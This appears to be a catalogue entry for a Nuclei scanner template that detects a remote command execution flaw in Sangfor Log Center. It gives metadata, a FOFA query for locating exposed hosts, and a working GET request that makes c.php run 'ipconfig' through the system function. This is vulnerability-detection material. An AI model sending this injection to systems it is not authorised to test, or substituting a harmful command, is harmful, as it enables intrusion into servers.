sangfor-cphp-rce: Sangfor Log Center - Remote Command Execution
- Template: sangfor-cphp-rce
- Name: Sangfor Log Center - Remote Command Execution
- Description: Sangfor Log Center is vulnerable to RCE.
- Severity: critical
- Authors: DhiyaneshDk
- Tags: sangfor, rce, vuln
- References: https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E6%97%A5%E5%BF%97%E4%B8%AD%E5%BF%83%20c.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md?plain=1
- Verified: yes
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/other/sangfor-cphp-rce.yaml
- Digest: 490a00463044022027457dbcaafdb8941f869ba6e86f0f3774e159671f613a70c85ba3d20d4ad9ac02207110f34387c2b8dfd18e25351e875835ec7d0e8f5cedc808302e3d8cb35875c6
- Created at: 2023-08-07T17:44:06Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 1205
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/sangfor-cphp-rce.yaml
- Checked, none or zero: cves, products
- Not known: impact, remediation
Classification
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Fofa-query: isHighPerformance : !!SFIsHighPerformance
- Max-request: 1
- Verified: yes
Labels
- Name: Sangfor Log Center - Remote Command Execution
- Impact: Remote attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
- Remediation: Update to the latest version of Sangfor Log Center.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: sangfor-cphp-rce
info:
name: Sangfor Log Center - Remote Command Execution
author: DhiyaneshDk
severity: critical
description: Sangfor Log Center is vulnerable to RCE.
reference:
metadata:
verified: true
max-request: 1
fofa-query: "isHighPerformance : !!SFIsHighPerformance"
tags: sangfor,rce,vuln
http:
- method: GET
path:
- "{{BaseURL}}/tool/log/c.php?strip_slashes=system&host=ipconfig"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Windows IP"
- "Log Helper"
condition: and
- type: status
status:
- 200
digest: 490a00463044022027457dbcaafdb8941f869ba6e86f0f3774e159671f613a70c85ba3d20d4ad9ac02207110f34387c2b8dfd18e25351e875835ec7d0e8f5cedc808302e3d8cb35875c6:922c64590222798bb761d5b6d8e72950
```